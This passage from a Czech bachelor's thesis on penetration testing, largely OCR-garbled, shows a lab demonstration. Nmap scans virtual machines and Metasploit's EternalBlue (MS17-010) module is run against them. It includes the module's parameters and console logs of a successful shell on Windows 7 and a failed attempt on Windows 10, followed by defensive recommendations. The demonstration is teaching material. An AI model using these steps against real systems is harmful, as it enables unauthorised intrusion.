Quick Scan

Quick Scan (05 detect)
Comprehensive

DMNS Enumerate

Clear Database

Obrazek 21: Volba skenovani pomoci nastroje Nmap
Zdroj: Viastni zpracovani

V siti bylo nalezeno zafizeni, které ma operacni systém Windows 7, proto se na nej
zamétime. Pro podrobngjsi informace provedeme plny sken, ktery umoziuje zjistit, jaké sluzby

operacni systém pouziva a jaké porty ma vystaveny (viz Obrazek 22: Vysledek skenovani).
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@ Scan Complete!
Use Attacks-=Find Attacks to suggest

applicable exploits for your targets.

(o]

onsole X T nmap X Inmap X ]

: 135/tcp open msrp Microsoft Windows RPC

: 139/tcp open netbios-ssn Microsoft Windows nethios-ssn
445/tcp  open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

: 49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown

: 49155/tcp open unknown
49157/tcp open unknown

: MAC Address: 08:00:27:1D:15:C8 (Oracle VirtualBox virtual NIC)

: Device type: general purpose
Running: Microsoft Windows 7|2008|8.1

: 0S CPE: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server 2008::spl cpe:/o:microsoft:

: 0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop

: Service Info: Host: USER-PC; 0S: Windows; CPE: cpe:/fo:microsoft:windows

: Mmap scan report for 10.0.10.13
Host is up (0.000095s latency).

: ALl 100 scanned ports on 10.0.10.13 are closed

: Too many fingerprints match this host to give specific 0S details

: Metwork Distance: 0 hops

Mmap: 0S and Service detection performed. Please report any incerrect results at https://nmap.org/submit/

(‘)”blrzi'z‘elkIZlZ: V-)'rsletiilek skenovani
Zdroj: Viastni zpracovani
Z vypisu je ziejmé, ze port 445, ktery souvisi se sdilenim souboru v systému Windows, je
otevien. Tim muazeme piejit k utoku. Z nabidky vybereme exploit, ktery je urCen na Windows

a na sluzbu SMB. Z dostupnych informaci je znatelné, ze se jednd o Windows 7, a proto

pouzijeme znamou zranitelnost CVE-2017-0144.

Tato slabina je spjata se zndmym ransomwarem WannaCry. Utok provedeme tak, ze
v nabidce vybereme exploit a pretazenim na cilové zafizeni se objevi dialogové okno

s parametry, které jsou automaticky doplnény (viz Obrazek 23: Dialogové okno parametru).

MS17-010 EternalBlue SMB Remote Windows Kernel Poaol Corruption

This module is a port of the Equation Group ETERMNALBLUE exploit, part of the
FuzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove
operation in SrvlSrv0s2FeaTolt, The size is calculated in SrvlSrvOs2FealistSizeTolt,

a7,

Option 4| Value

LHOST 10.0.2.15 A
LPORT 22285 “:,
RHOSTS + 10.0.10.16

RPORT 445 -

SMBOmmain

Targets: |0 == Automatic Target 'rJ

[ | Use areverse connection

|| Show advanced options

| Launch |

Obrazek 23: Dialogové okno parametri
Zdroj: Viastni zpracovani
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Na zéklad€ vypisu o utoku je zfejmé, ze operacni systém Windows 7 byl prolomen (viz

Obrazek 24: Usp&sny utok na Windows 7).

msfé exploit(windows/smb/ms17 010 eternalblue) > exploit -j
*] Exploit running as background job 3.
Exploit completed, but no session was created.
Started reverse TCP handler on 10.0.10.13:5550
,0.10.16:445 - Using auxiliary/scanner/smb/smb_ms17 010 as check
161 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
161 - Scanned 1 of 1 hosts (100°% complete)
D.16: The target is vulnerable.
0. 161 Connecting to target for exploitation.
Connection established for exploitation.
Target 0S selected valid for 0S indicated by SMB reply
CORE raw buffer dump (38 bytes)
0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
0x00000020 50 61 63 6b 20 31 Pack 1
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.
Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.
Sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully (0xC000000D)!
p.16:445 - Sending egg to corrupted connection.
1445 - Triggering free of corrupted buffer
Command shell session 1 opened (10 ¥ 550 B 0. 8 2 7-30 08:25:10 -0400
10.0.10.16:445 -
10,0.10.16:445 -
10.0.10.16:445 -

.0,
.0,
.0,
D. 0.
D. 0.
D. 0.
D.0.
.0,
.0,
.0,
.0,
.0,
D. 0.
D. 0.
D. 0.
.0.
.0,
0.
.0,
.0.
0. 0.
D. 0.

Zdroj: Viastni zpracovdni

< kali@kali: ~/Downloads/.

10.0.10.13 ¢ 16
windows 7

Volume in drive C b
Volume Serfal Number

es (x86)

Files (x86)

0 by’
6 Dir(s) 26,811,445,248 bytes free

‘Kali Linux' > Kalios. txt

Obrazek 25: Vytvoreni souboru spravy administratora na obéti
Zdroj: Viastni zpracovani

Pro ukézku byl vytvoren v kofenovém adresafi soubor bez v€domi uzivatele, protoze jsem
mél plné pravo administratora na cilovém pocitaci (viz Obrazek 25: Vytvoreni souboru spravy

administratora na obéti).
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Na systém Windows 10 s ¢islem sestaveni 10240 byl aplikovan stejny postup, ale ttok nebyl
Gsp&sny, 1 kdyZ toto sestaveni m4 tuto zranitelnost (viz Obrazek 26: Utok na Windows 10).
Nepodaftilo se navazat korektni spojeni s timto operacnim systémem. Tato chyba muze byt
dusledkem programu Metasploit, protoze pii starSi verzi se tato chyba pfi stejném utoku
neobjevila. Dalsi pfi¢inou muze byt chyba systému Windows 10, ktera dokazala toto spojeni

zablokovat.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
Exploit running as background job 5.
Exploit completed, but no session was created.
1445 - Using auxiliary/scanner/smb/smb_ms17 010 as check
1445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Enterprise 10240 x64 (64-bit)
1445 - Errno::ECONNRESET: Connection reset by peer
1445 - Scanned 1 of 1 hosts (106% complete)
1445 - The target is vulnerable.
1445 - shellcode size: 1277
1445 - numGroomConn: 12
1445 - Target 0S: Windows 10 Enterprise 10240
1445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
10.0.10.10:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Started bind TCP handler against 10.0.10.10:17199
msf6 exploit(windows/smb/ms17 010 eternalblue) >

Obrazek 26: Utok na Windows 10

.0,
.0,
.0.
.0,
.0,
.0,
.0.
.0.
0.0,
0

Zdroj: Viastni zpracovani

Poslednim pokusem byl Utok na primarni pocita¢, ktery ma veskeré aktualizace a je plne
chranén. Tento utok byl netspésny. V konzoli §lo vycist, ze danou slabinu nelze zneuzit a je

pln€ oSetiena.

5.2.1 ZAVEREM UTOK PRES SiT

Zavérem této ukazky je, ze pokud se pfipojime k nediveéryhodnému pfipojeni, jedna-li se

tieba o sit’, ktera neni chranéna heslem, muzeme se stat jednoduse obéti utoénika.
b »

Mezi radami a doporucenimi, které by utocnika mohly zpomalit, nebo ptimo zastavit pred
touto slabinou systému a nov€ vytvofenou zranitelnosti, je mit aktualizovany systém.
V aktualnich verzich Windows 10 je tento typ nebezpecné chyby opraven a tim je systém

zabezpecen.

Dalsim doporuCenim je vypnuti sluzeb typu sdileni souborti a tiskaren. Tim zabranime
dal§im moznostem utoku, které by mohly byt zneuzity 1 v budoucnu. Dal§im prvkem, jak se
proti utokim pfes sit’ chranit, je pouzit antivirovy program, ktery dokaze zaznamenavat
skenovani portd od uto¢nika. Posledni radou a typem ochrany je, Ze pokud ¢lovek bude piipojen

na nezabezpecené siti, 1ze pouzit VPN, ktera slouzi pro Sifrovanou komunikaci s internetem.
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ZAVER
S rastem pouzivani po€itaCovych zafizeni roste i naro¢nost na zajisté€ni bezpecnosti systému.
Pro zlepsSeni ochrany jednotlivych systému je dulezité¢ vyuzivat penetracni testovani. Tato

metoda vyhodnocuje slabiny systému a tim muze byt uzivatel nebo bezpe¢nostni technik o krok

napied pred utocniky, kteti mohou pfijit na danou slabinu dfive a zneuzit ji.

Metodiky, které jsou v této praci predstavené, jsou ilustracni a nemely by byt aplikovany

k ilegéalni ¢innosti, kterd by mohla poskodit firmy nebo uzivatele.
Celkové zpracovani bakalarské prace bylo nasledujici:

V prvni ¢asti bakalaiske prace bylo seznameni se s linuxovymi distribucemi a jejich historii.
Dale jsme se zaméfili na penetraCni testovani, zejména na typy testd a také jejich prabeéh.

S touto problematikou Gzce souvisi i typy Gtoc¢nika a testeru.

Druhym krokem bylo sezndmeni se s nastroji urCenymi k penetraCnimu testovani. Mezi
hlavni programy patifi Maltego, Shodan, Nmap, Ettercap a Metaspolit. Kazdy néstroj se
specializuje na jiné odvétvi. Nmap se vyuziva pro skenovani dostupnych sitovych zatizeni.

Ettercap se slouzi pro Utoky typu man-in-the-middle.

Dalsim krokem této prace byly zptsoby, jimiz muze Gto¢nik zautoCit na dané zafizeni.
Rozlisujeme tii kategorie utoku. Pfi fyzickém utoku je potfeba mit dané zafizeni fyzicky
k dispozici. Dalsi kategorii je vzdalené napadeni, pfi kterém vyuzivame sit’ internet. Posledni

moznosti je kombinovany utok, pfi kterém se vyuzivaji ob& predchozi metody.

V posledni ¢asti byly provedeny demonstrativni utoky, které maji upozornit na nedostatky
operacniho systému Windows a jeho verzi. V ramci bakalaiské prace byly provedeny dva utoky
— prvni z nich byl uskute¢nén fyzicky k prolomeni hesla uzivatele. Druhym zptsobem bylo
napadeni pocitaCe pres sit’ za icelem ziskani plného opravnéni, nebot’ pfi plné kontrole nad

zafizenim muze GtoCnik provadét kteroukoli C¢innost bez védomi uzivatele.

V ramci praktické Casti bakalarské prace byla popsana doporuceni. Pii jejich dodrZzeni muze

uzivatel zastavit nebo eliminovat dopad na pocitacové zafizeni.

Je dulezité fict, ze Gtoku za posledni 1éta pfibyva, a proto je nezbytné byt obezietny. Je

potieba sledovat aktualni trendy uto¢nikl, aby bylo mozné se proti novym typim utokd branit.
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